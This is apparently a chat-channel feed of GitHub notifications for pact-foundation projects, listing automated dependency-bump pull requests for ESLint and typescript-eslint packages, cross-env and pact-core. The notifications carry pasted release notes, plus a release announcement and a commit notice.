    TSMappedType
    with no type annotation (#11180)
    • eslint-plugin: [no-deprecated] support computed member access (#10867)
    • eslint-plugin: [no-unnecessary-type-conversion] shouldn't have fixable property (#11194)
    ### ❤️ Thank You
    • Azat S. `@​azat-io`
    • Dima Barabash `@​dbarabashh`
    • Ronen Amiel
    You can read about our versioning strategy and releases on our website.
    ## 8.32.0 (2025-05-05)
    ### 🚀 Features
    • eslint-plugin: [only-throw-error] add option
    allowRethrowing
    (#11075)
    • eslint-plugin: [no-unnecessary-type-conversion] add rule (#10182)
    ### 🩹 Fixes
    • eslint-plugin: [prefer-nullish-coalescing] fix parenthesization bug in suggestion (#11098)
    • eslint-plugin: [unified-signatures] exempt
    this
    from optional parameter overload check (#11005)
    • eslint-plugin: [no-unnecessary-type-parameters] should parenthesize type in suggestion fixer if necessary (#10907)
    ### ❤️ Thank You
    • Andy Edwards
    • Kirk Waiblinger `@​kirkwaiblinger`
    • mdm317
    • Sasha Kondrashov
    • Yukihiro Hasegawa `@​y-hsgw`
    You can read about our versioning strategy and releases on our website.
    ## 8.31.1 (2025-04-28)
    ### 🩹 Fixes
    • eslint-plugin: [no-unnecessary-condition] downgrade fix to suggestion (#11081)
    ### ❤️ Thank You
    • Kirk Waiblinger `@​kirkwaiblinger`
    ... (truncated) Commits • `af077a0` chore(release): publish 8.32.1 • `f8db925` fix(eslint-plugin): [consistent-indexed-object-style] check for indirect circ... • `98c5c4c` fix(eslint-plugin): [consistent-indexed-object-style] adjust auto-fixer to ge... • `b2be3dc` chore: simplify
    tsconfig
    setup using
    configDir
    (#11136) • `523b3ea` fix(eslint-plugin): [no-deprecated] support computed member access (#10867) • <https://github.c… pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:00 PM
    #395 chore(deps-dev): bump @typescript-eslint/parser from 5.62.0 to 8.32.1 Pull request opened by dependabot[bot] Bumps @typescript-eslint/parser from 5.62.0 to 8.32.1. Release notes Sourced from `@​typescript-eslint/parser`'s releases.
    ## v8.32.1
    ## 8.32.1 (2025-05-12)
    ### 🩹 Fixes
    • eslint-plugin: [no-unnecessary-type-conversion] shouldn't have fixable property (#11194)
    • eslint-plugin: [no-deprecated] support computed member access (#10867)
    • eslint-plugin: [consistent-indexed-object-style] adjust auto-fixer to generate valid syntax for
    TSMappedType
    with no type annotation (#11180)
    • eslint-plugin: [consistent-indexed-object-style] check for indirect circular types in aliased mapped types (#11177)
    ### ❤️ Thank You
    • Azat S. `@​azat-io`
    • Dima Barabash `@​dbarabashh`
    • Ronen Amiel
    You can read about our versioning strategy and releases on our website.
    ## v8.32.0
    ## 8.32.0 (2025-05-05)
    ### 🚀 Features
    • eslint-plugin: [no-unnecessary-type-conversion] add rule (#10182)
    • eslint-plugin: [only-throw-error] add option
    allowRethrowing
    (#11075)
    ### 🩹 Fixes
    • deps: update dependency typedoc to ^0.28.0 (1fef33521)
    • eslint-plugin: [no-unnecessary-type-parameters] should parenthesize type in suggestion fixer if necessary (#10907)
    • eslint-plugin: [unified-signatures] exempt
    this
    from optional parameter overload check (#11005)
    • eslint-plugin: [prefer-nullish-coalescing] fix parenthesization bug in suggestion (#11098)
    • typescript-estree: ensure consistent TSMappedType AST shape (#11086)
    • typescript-estree: correct
    TSImportType
    property name when
    assert
    (#11115)
    ### ❤️ Thank You
    • Andy Edwards
    • Dima Barabash `@​dbarabashh`
    • Kirk Waiblinger `@​kirkwaiblinger`
    • mdm317
    • overlookmotel
    • Sasha Kondrashov
    • Yukihiro Hasegawa `@​y-hsgw`
    You can read about our versioning strategy and releases on our website.
    ## v8.31.1
    ## 8.31.1 (2025-04-28)
    ... (truncated) Changelog Sourced from `@​typescript-eslint/parser`'s changelog.
    ## 8.32.1 (2025-05-12)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.32.0 (2025-05-05)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.31.1 (2025-04-28)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.31.0 (2025-04-21)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.30.1 (2025-04-14)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.30.0 (2025-04-14)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.29.1 (2025-04-07)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.29.0 (2025-03-31)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.28.0 (2025-03-24)
    ... (truncated) Commits • `af077a0` chore(release): publish 8.32.1 • `b2be3dc` chore: simplify
    tsconfig
    setup using
    configDir
    (#11136) • `aeb7402` chore(ast-spec): finish migrating to
    vitest
    (#11126) • `819a03f` chore(release): publish 8.32.0 • `172ab8a` chore(eslint-plugin): resolve remaining issues from
    vitest
    migration (#11100) • `a9c9251` chore: revert
    vitest
    related changes in
    tsconfig
    files (<https://github.com/typescript-eslint/typ… pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:00 PM
    #396 chore(deps-dev): bump eslint-import-resolver-typescript from 3.10.1 to 4.3.5 Pull request opened by dependabot[bot] Bumps eslint-import-resolver-typescript from 3.10.1 to 4.3.5. Release notes Sourced from eslint-import-resolver-typescript's releases.
    ## v4.3.5
    ### Patch Changes
    • #450 `3f1aab1` Thanks `@​JounQin`! - fix: remove buggy
    module-sync
    exports field
    Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.4...v4.3.5
    ## v4.3.4
    ### Patch Changes
    • #442 `57611d9` Thanks `@​JounQin`! - fix: add more extension aliases for ts source/declaration files
    • #444 `bd45fcd` Thanks `@​JounQin`! - fix(deps): bump
    unrs-resolver
    which resolves #406, #409, #437
    Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.3...v4.3.4
    ## v4.3.3
    ### Patch Changes
    • #433 `834b11e` Thanks `@​JounQin`! - chore: bump
    unrs-resolver
    to v1.6.0
    Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.2...v4.3.3
    ## v4.3.2
    ### Patch Changes
    • #427 `dabba8e` Thanks `@​JounQin`! - chore: bump
    unrs-resolver
    to v1.4.1
    Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.1...v4.3.2
    ## v4.3.1
    ### Patch Changes
    • #425 `2ced0ba` Thanks `@​JounQin`! - chore: bump
    unrs-resolver
    to v1.3.3
    Full Changelog: import-js/eslint-import-resolver-typescript@v4.3.0...v4.3.1
    ## v4.3.0
    ### Minor Changes
    • #423 `2fcb947` Thanks `@​JounQin`! - feat: throw error on malformed
    tsconfig
    reference
    Full Changelog: import-js/eslint-import-resolver-typescript@v4.2.7...v4.3.0
    ## v4.2.7
    ### Patch Changes
    • `aeb558f` Thanks `@​JounQin`! - fix: add missing
    index.d.cts
    file
    Full Changelog: import-js/eslint-import-resolver-typescript@v4.2.6...v4.2.7
    ... (truncated) Changelog Sourced from eslint-import-resolver-typescript's changelog.
    ## 4.3.5
    ### Patch Changes
    • #450 `3f1aab1` Thanks `@​JounQin`! - fix: remove buggy
    module-sync
    exports field
    ## 4.3.4
    ### Patch Changes
    • #442 `57611d9` Thanks `@​JounQin`! - fix: add more extension aliases for ts source/declaration files
    • #444 `bd45fcd` Thanks `@​JounQin`! - fix(deps): bump
    unrs-resolver
    which resolves #406, #409, #437
    ## 4.3.3
    ### Patch Changes
    • #433 `834b11e` Thanks `@​JounQin`! - chore: bump
    unrs-resolver
    to v1.6.0
    ## 4.3.2
    ### Patch Changes
    • #427 `dabba8e` Thanks `@​JounQin`! - chore: bump
    unrs-resolver
    to v1.4.1
    ## 4.3.1
    ### Patch Changes
    • #425 `2ced0ba` Thanks `@​JounQin`! - chore: bump
    unrs-resolver
    to v1.3.3
    ## 4.3.0
    ### Minor Changes
    • #423 `2fcb947` Thanks `@​JounQin`! - feat: throw error on malformed
    tsconfig
    reference
    ## 4.2.7
    ### Patch Changes
    • `aeb558f` Thanks `@​JounQin`! - fix: add missing
    index.d.cts
    file
    ## 4.2.6
    ### Patch Changes
    • <https://redirect.github.com/import-js/eslint-import-resolver-typescript/p…
    pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:00 PM
    #397 chore(deps-dev): bump eslint from 8.57.1 to 9.27.0 Pull request opened by dependabot[bot] Bumps eslint from 8.57.1 to 9.27.0. Release notes Sourced from eslint's releases.
    ## v9.27.0
    ## Features
    • `d71e37f` feat: Allow flags to be set in ESLINT_FLAGS env variable (#19717) (Nicholas C. Zakas)
    • `ba456e0` feat: Externalize MCP server (#19699) (Nicholas C. Zakas)
    • `07c1a7e` feat: add
    allowRegexCharacters
    to
    no-useless-escape
    (#19705) (sethamus)
    • `7bc6c71` feat: add no-unassigned-vars rule (#19618) (Jacob Bandes-Storch)
    • `ee40364` feat: convert no-array-constructor suggestions to autofixes (#19621) (sethamus)
    • `32957cd` feat: support TS syntax in
    max-params
    (#19557) (Nitin Kumar)
    ## Bug Fixes
    • `5687ce7` fix: correct mismatched removed rules (#19734) (루밀LuMir)
    • `dc5ed33` fix: correct types and tighten type definitions in
    SourceCode
    class (#19731) (루밀LuMir)
    • `de1b5de` fix: correct
    service
    property name in
    Linter.ESLintParseResult
    type (#19713) (Francesco Trotta)
    • `60c3e2c` fix: sort keys in eslint-suppressions.json to avoid git churn (#19711) (Ron Waldon-Howe)
    • `9da90ca` fix: add
    allowReserved
    to
    Linter.ParserOptions
    type (#19710) (Francesco Trotta)
    • `fbb8be9` fix: add
    info
    to
    ESLint.DeprecatedRuleUse
    type (#19701) (Francesco Trotta)
    ## Documentation
    • `25de550` docs: Update description of frozen rules to mention TypeScript (#19736) (Nicholas C. Zakas)
    • `bd5def6` docs: Clean up configuration files docs (#19735) (Nicholas C. Zakas)
    • `4d0c60d` docs: Add Neovim to editor integrations (#19729) (Maria José Solano)
    • `71317eb` docs: Update README (GitHub Actions Bot)
    • `4c289e6` docs: Update README (GitHub Actions Bot)
    • `f0f0d46` docs: clarify that unused suppressions cause non-zero exit code (#19698) (Milos Djermanovic)
    • `8ed3273` docs: fix internal usages of
    ConfigData
    type (#19688) (Francesco Trotta)
    • `eb316a8` docs: add
    fmt
    and
    check
    sections to
    Package.json Conventions
    (#19686) (루밀LuMir)
    • `a3a2559` docs: fix wording in Combine Configs (#19685) (Milos Djermanovic)
    • `c8d17e1` docs: Update README (GitHub Actions Bot)
    ## Chores
    • `f8f1560` chore: upgrade `@​eslint/js` `@​9`.27.0 (#19739) (Milos Djermanovic)
    • `ecaef73` chore: package.json update for
    @​eslint/js
    release (Jenkins)
    • `596fdc6` chore: update dependency
    @​arethetypeswrong/cli
    to ^0.18.0 (#19732) (renovate[bot])
    • `f791da0` chore: remove unbalanced curly brace from
    .editorconfig
    (#19730) (Maria José Solano)
    • `e86edee` refactor: Consolidate Config helpers (#19675) (Nicholas C. Zakas)
    • `cf36352` chore: remove shared types (#19718) (Francesco Trotta)
    • `f60f276` refactor: Easier RuleContext creation (#19709) (Nicholas C. Zakas)
    • `58a171e` chore: update dependency
    @​eslint/plugin-kit
    to ^0.3.1 (#19712) (renovate[bot])
    • `3a075a2` chore: update dependency
    @​eslint/core
    to ^0.14.0 (#19715) (renovate[bot])
    • `44bac9d` ci: run tests in Node.js 24 (#19702) (Francesco Trotta)
    • `35304dd` chore: add missing
    funding
    field to packages (#19684) (루밀LuMir)
    • `f305beb` test: mock
    process.emitWarning
    to prevent output disruption (#19687) (Francesco Trotta)
    ## v9.26.0
    ## Features
    • <https://github.com/eslint/eslint/commit/e9…
    pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:03 PM
    Release - Release v17.0.0 New release published by github-actions[bot] ## 17.0.0 (2025-09-15) ### ⚠️ BREAKING CHANGES • lock node engines >=20 ### Fixes and Improvements • lock node engines >=20 (36b0e4d) pact-foundation/pact-js-core
  • g

    GitHub

    09/15/2025, 5:04 PM
    1 new commit pushed to
    <https://github.com/pact-foundation/jest-pact/tree/master|master>
    by YOU54F
    <https://github.com/pact-foundation/jest-pact/commit/a517f0e4103b0aa5f39bf3e7ecb9a1b535eb6f8a|a517f0e4>
    - chore(deps): update dependency cross-env to v10 (#407) pact-foundation/jest-pact
  • g

    GitHub

    09/15/2025, 5:04 PM
    #407 chore(deps): update dependency cross-env to v10 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | ------------------------------------------------------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [cross-env](https://redirect.github.com/kentcdodds/cross-env) | [7.0.3 -> 10.0.0](https://renovatebot.com/diffs/npm/cross-env/7.0.3/10.0.0) | [[age](https://camo.githubusercontent.com/12b2c35eefd19dd768733ba31bc4916d3408e2547c35e77c4271d794b501661f/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f63726f73732d656e762f31302e302e303f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/8785f3ce64918b659ad0b34d8c746b4f2ba50f9fd65fc11ba8bb4fcc6b277d5b/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f63726f73732d656e762f372e302e332f31302e302e303f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes kentcdodds/cross-env (cross-env) ### `v10.0.0` Compare Source TL;DR: You should probably not have to change anything if: • You're using a modern maintained version of Node.js (v20+ is tested) • You're only using the CLI (most of you are as that's the intended purpose) In this release (which should have been v8 except I had some issues with automated releases 🙈), I've updated all the things and modernized the package. This happened in #​261 Was this needed? Not really, but I just thought it'd be fun to modernize this package. Here's the highlights of what was done. • Replace Jest with Vitest for testing • Convert all source files from .js to .ts with proper TypeScript types • Use zshy for ESM-only builds (removes CJS support) • Adopt @​epic-web/config for TypeScript, ESLint, and Prettier • Update to Node.js >=20 requirement • Remove kcd-scripts dependency • Add comprehensive e2e tests with GitHub Actions matrix testing • Update GitHub workflow with caching and cross-platform testing • Modernize documentation and remove outdated sections • Update all dependencies to latest versions • Add proper TypeScript declarations and exports The tool maintains its original functionality while being completely modernized with the latest tooling and best practices ##### BREAKING CHANGES • This is a major rewrite that changes the module format from CommonJS to ESM-only. The package now requires Node.js >=20 and only exports ESM modules (not relevant in most cases). --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied. ♻️ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/jest-pact
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:07 PM
    #694 chore(deps): update dependency eslint-import-resolver-typescript to v4.4.4 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [eslint-import-resolver-typescript](https://redirect.github.com/import-js/eslint-import-resolver-typescript) | [4.4.3 -> 4.4.4](https://renovatebot.com/diffs/npm/eslint-import-resolver-typescript/4.4.3/4.4.4) | [[age](https://camo.githubusercontent.com/c27a90f92c4c64faaba60af0820e7afa483f526b4df90f3b02e46736484c45c5/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f65736c696e742d696d706f72742d7265736f6c7665722d747970657363726970742f342e342e343f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/941cd8973c9d2d1ed4c447eacdba5b07688690270b9c6a76b70562d15e603de9/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f65736c696e742d696d706f72742d7265736f6c7665722d747970657363726970742f342e342e332f342e342e343f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes import-js/eslint-import-resolver-typescript (eslint-import-resolver-typescript) ### `v4.4.4` Compare Source ##### Patch Changes • #​468 `93b39d2` Thanks @​renovate! - chore(deps): bump
    stable-hash-x
    v0.2.0 • #​466 `799f1ce` Thanks @​anomiex! - fix: include options hash in cache key for options normalization --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Enabled. ♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/pact-js-core
  • g

    GitHub

    09/15/2025, 5:42 PM
    #1562 fix(deps): update dependency @pact-foundation/pact-core to v17 Pull request opened by renovate[bot] Coming soon: The Renovate bot (GitHub App) will be renamed to Mend. PRs from Renovate will soon appear from 'Mend'. Learn more here. This PR contains the following updates: | Package | Change | Age | Confidence | | -------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [@pact-foundation/pact-core](https://redirect.github.com/pact-foundation/pact-js-core) | [^16.0.0 -> ^17.0.0](https://renovatebot.com/diffs/npm/@pact-foundation%2fpact-core/16.0.0/17.0.0) | [[age](https://camo.githubusercontent.com/50928bcbbdbb54f66097de55585f9c7dc5d6aecee08ea731a188f79199bde76f/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f40706163742d666f756e646174696f6e253266706163742d636f72652f31372e302e303f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/b33d22d01861a2d9a66cb98addd787a136ee8cd99792137279bf675a8a67bb1a/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f40706163742d666f756e646174696f6e253266706163742d636f72652f31362e302e302f31372e302e303f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes pact-foundation/pact-js-core (@​pact-foundation/pact-core) ### `v17.0.0` Compare Source ##### ⚠️ BREAKING CHANGES • lock node engines >=20 ##### Fixes and Improvements • lock node engines >=20 (36b0e4d) ### `v16.1.1` Compare Source ##### Fixes and Improvements • update pact-ffi to 0.4.28 (b5b9940) ### `v16.1.0` Compare Source ##### Features • support fetching bodies for messages (#​662) (6a608a4) --- ### Configuration 📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 Automerge: Enabled. ♻️ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 Ignore: Close this PR and you won't be reminded about this update again. --- • If you want to rebase/retry this PR, check this box --- This PR was generated by Mend Renovate. View the repository job log. pact-foundation/pact-js
    • 1
    • 1
  • g

    GitHub

    09/15/2025, 5:43 PM
    #1563 Chore/deps pact core v17 Pull request opened by YOU54F Update to consume pact-core v17 • 🔨 BREAKING CHANGE: locks node engines to >=20 • update dependencies bar chalk (v5 is esm) • update express wildcard for version 5 • see expressjs/express#6428 • and pact-foundation/pact-js-core@cdc0605 • update example projects to express v5 • update example project lockfiles pact-foundation/pact-js
  • g

    GitHub

    09/15/2025, 9:01 PM
    #415 chore(deps-dev): bump @typescript-eslint/parser from 5.62.0 to 8.44.0 Pull request opened by dependabot[bot] Bumps @typescript-eslint/parser from 5.62.0 to 8.44.0. Release notes Sourced from `@​typescript-eslint/parser`'s releases.
    ## v8.44.0
    ## 8.44.0 (2025-09-15)
    ### 🚀 Features
    • eslint-plugin: [await-thenable] report invalid (non-promise) values passed to promise aggregator methods (#11267)
    ### 🩹 Fixes
    • deps: update dependency
    @​eslint-community/eslint-utils
    to v4.8.0 (#11589)
    • eslint-plugin: [no-unnecessary-type-conversion] ignore enum members (#11490)
    ### ❤️ Thank You
    • Moses Odutusin `@​thebolarin`
    • Ronen Amiel
    You can read about our versioning strategy and releases on our website.
    ## v8.43.0
    ## 8.43.0 (2025-09-08)
    ### 🚀 Features
    • typescript-estree: disallow empty type parameter/argument lists (#11563)
    ### 🩹 Fixes
    • eslint-plugin: [no-non-null-assertion] do not suggest optional chain on LHS of assignment (#11489)
    • eslint-plugin: [no-unnecessary-type-conversion] only report ~~ on integer literal types (#11517)
    • eslint-plugin: [consistent-type-exports] fix declaration shadowing (#11457)
    • eslint-plugin: [no-floating-promises] allowForKnownSafeCalls now supports function names (#11423, #11430)
    • eslint-plugin: [no-deprecated] should report deprecated exports and reexports (#11359)
    • eslint-plugin: [prefer-return-this-type] don't report an error when returning a union type that includes a classType (#11432)
    • rule-tester: normalize paths before checking if they escape cwd (#11525)
    • scope-manager: exclude Program from DefinitionBase node types (#11469)
    • type-utils: add union type support to TypeOrValueSpecifier (#11526)
    • typescript-estree: match filenames starting with a period when using glob in allowDefaultProject / (#11537)
    ### ❤️ Thank You
    • Dima `@​dbarabashh`
    • Kirk Waiblinger `@​kirkwaiblinger`
    • mdm317
    • Nicolas Le Cam
    • tao
    • Victor Genaev `@​mainframev`
    • Yukihiro Hasegawa `@​y-hsgw`
    • 민감자(Minji Kim) `@​mouse0429`
    • 송재욱
    ... (truncated) Changelog Sourced from `@​typescript-eslint/parser`'s changelog.
    ## 8.44.0 (2025-09-15)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.43.0 (2025-09-08)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.42.0 (2025-09-02)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.41.0 (2025-08-25)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.40.0 (2025-08-18)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.39.1 (2025-08-11)
    This was a version bump only for parser to align it with other projects, there were no code changes.
    You can read about our versioning strategy and releases on our website.
    ## 8.39.0 (2025-08-04)
    ### 🚀 Features
    • update to TypeScript 5.9.2 (#11445)
    ### ❤️ Thank You
    • Brad Zacher `@​bradzacher`
    You can read about our versioning strategy and releases on our website.
    ## 8.38.0 (2025-07-21)
    ... (truncated) Commits • `77056f7` chore(release): publish 8.44.0 • `ef9173c` chore(release): publish 8.43.0 • `d135909` chore(release): publish 8.42.0 • `31a7336` chore(release): publish 8.41.0 • `60c3b26` chore(release): publish 8.40.0 • `b2ee794` chore(release): publish 8.39.1 • `c98d513` chore(release): publish 8.39.0 • `2112d58` feat: update to TypeScript 5.9.2 (#11445) • <https://github.com/typescript-eslint/typescript-eslint/commit/d11e79e9c9edc9f6f5e66306e3b3d65f3149a760|`d11e79… pact-foundation/jest-pact
  • g

    GitHub

    09/15/2025, 9:02 PM
    #416 chore(deps-dev): bump eslint-plugin-jest from 27.9.0 to 29.0.1 Pull request opened by dependabot[bot] Bumps eslint-plugin-jest from 27.9.0 to 29.0.1. Release notes Sourced from eslint-plugin-jest's releases.
    ## v29.0.1
    ## 29.0.1 (2025-06-18)
    ### Bug Fixes
    • update semantic-release config so new v29 major is marked as latest on
    npm
    (#1772) (531c8ba)
    ## v29.0.0
    # 29.0.0 (2025-06-18)
    ### Bug Fixes
    • remove
    jest/no-alias-methods
    from
    styles
    config (d3bf1dc)
    ### Features
    • drop support for
    [@typescript-eslint](<https://github.com/typescript-eslint>)
    v6 (fe61a40)
    • drop support for
    [@typescript-eslint](<https://github.com/typescript-eslint>)
    v7 (5ca65d3)
    • drop support for ESLint v7 (b06e7d0)
    • drop support for ESLint v8.x prior to v8.57.0 (d79765a)
    • drop support for Node v16 (aaf62cd)
    • drop support for Node v18 (598880c)
    • drop support for Node v20.x prior to v20.12.0 (2f2fb68)
    • drop support for Node v21 (a366393)
    • drop support for Node v23 (1fb1a67)
    • unbound-method: remove
    docs.recommended
    and
    docs.requiresTypeChecking
    properties (945651c)
    ### BREAKING CHANGES
    • dropped support for ESLint v8.x prior to v8.57.0
    • dropped support for Node v20.x prior to v20.12.0
    • dropped support for Node v23
    • dropped support for Node v18
    • unbound-method: removed
    docs.recommend
    and
    docs.requiresTypeChecking
    from
    unbound-method
    • dropped support for
    @typescript-eslint
    v7
    • dropped support for
    @typescript-eslint
    v6
    •
    jest/no-alias-methods
    has been removed from the
    styles
    config as its already in the
    recommended
    config
    • dropped support for ESLint v7
    • dropped support for Node v21
    • dropped support for Node v16
    ## v28.14.0
    ... (truncated) Changelog Sourced from eslint-plugin-jest's changelog.
    ## 29.0.1 (2025-06-18)
    ### Bug Fixes
    • update semantic-release config so new v29 major is marked as latest on
    npm
    (#1772) (531c8ba)
    # 29.0.0 (2025-06-18)
    ### Bug Fixes
    • remove
    jest/no-alias-methods
    from
    styles
    config (d3bf1dc)
    ### Features
    • drop support for
    [@typescript-eslint](<https://github.com/typescript-eslint>)
    v6 (fe61a40)
    • drop support for
    [@typescript-eslint](<https://github.com/typescript-eslint>)
    v7 (5ca65d3)
    • drop support for ESLint v7 (b06e7d0)
    • drop support for ESLint v8.x prior to v8.57.0 (d79765a)
    • drop support for Node v16 (aaf62cd)
    • drop support for Node v18 (598880c)
    • drop support for Node v20.x prior to v20.12.0 (2f2fb68)
    • drop support for Node v21 (a366393)
    • drop support for Node v23 (1fb1a67)
    • unbound-method: remove
    docs.recommended
    and
    docs.requiresTypeChecking
    properties (945651c)
    ### BREAKING CHANGES
    • dropped support for ESLint v8.x prior to v8.57.0
    • dropped support for Node v20.x prior to v20.12.0
    • dropped support for Node v23
    • dropped support for Node v18
    • unbound-method: removed
    docs.recommend
    and
    docs.requiresTypeChecking
    from
    unbound-method
    • dropped support for
    @typescript-eslint
    v7
    • dropped support for
    @typescript-eslint
    v6
    •
    jest/no-alias-methods
    has been removed from the
    styles
    config as its already in the
    recommended
    config
    • dropped support for ESLint v7
    • dropped support for Node v21
    • dropped support for Node v16
    # 28.14.0 (2025-06-15)
    ### Features
    • unbound-method: mark
    docs.recommended
    and
    docs.requiresTypeChecking
    as deprecated (#1762) (30440ef)
    ... (truncated) Commits • `0206a8a` chore(release): 29.0.1 [skip ci] • `1a9d310` docs: remove duplicate changelog entry (again) (#1774) • `f3deac1` chore(release): 29.0.0 [skip ci] • `6eade92` docs: remove duplicate changelog entry (#1773) • <https://github.com/jest-community/eslint-plugin-jest/commit/5b4cb543748d7f074e34d962d7273fa00225af72|… pact-foundation/jest-pact
  • g

    GitHub

    09/15/2025, 9:02 PM
    #417 chore(deps-dev): bump @typescript-eslint/eslint-plugin from 5.62.0 to 8.44.0 Pull request opened by dependabot[bot] Bumps @typescript-eslint/eslint-plugin from 5.62.0 to 8.44.0. Release notes Sourced from `@​typescript-eslint/eslint-plugin`'s releases.
    ## v8.44.0
    ## 8.44.0 (2025-09-15)
    ### 🚀 Features
    • eslint-plugin: [await-thenable] report invalid (non-promise) values passed to promise aggregator methods (#11267)
    ### 🩹 Fixes
    • deps: update dependency
    @​eslint-community/eslint-utils
    to v4.8.0 (#11589)
    • eslint-plugin: [no-unnecessary-type-conversion] ignore enum members (#11490)
    ### ❤️ Thank You
    • Moses Odutusin `@​thebolarin`
    • Ronen Amiel
    You can read about our versioning strategy and releases on our website.
    ## v8.43.0
    ## 8.43.0 (2025-09-08)
    ### 🚀 Features
    • typescript-estree: disallow empty type parameter/argument lists (#11563)
    ### 🩹 Fixes
    • eslint-plugin: [no-non-null-assertion] do not suggest optional chain on LHS of assignment (#11489)
    • eslint-plugin: [no-unnecessary-type-conversion] only report ~~ on integer literal types (#11517)
    • eslint-plugin: [consistent-type-exports] fix declaration shadowing (#11457)
    • eslint-plugin: [no-floating-promises] allowForKnownSafeCalls now supports function names (#11423, #11430)
    • eslint-plugin: [no-deprecated] should report deprecated exports and reexports (#11359)
    • eslint-plugin: [prefer-return-this-type] don't report an error when returning a union type that includes a classType (#11432)
    • rule-tester: normalize paths before checking if they escape cwd (#11525)
    • scope-manager: exclude Program from DefinitionBase node types (#11469)
    • type-utils: add union type support to TypeOrValueSpecifier (#11526)
    • typescript-estree: match filenames starting with a period when using glob in allowDefaultProject / (#11537)
    ### ❤️ Thank You
    • Dima `@​dbarabashh`
    • Kirk Waiblinger `@​kirkwaiblinger`
    • mdm317
    • Nicolas Le Cam
    • tao
    • Victor Genaev `@​mainframev`
    • Yukihiro Hasegawa `@​y-hsgw`
    • 민감자(Minji Kim) `@​mouse0429`
    • 송재욱
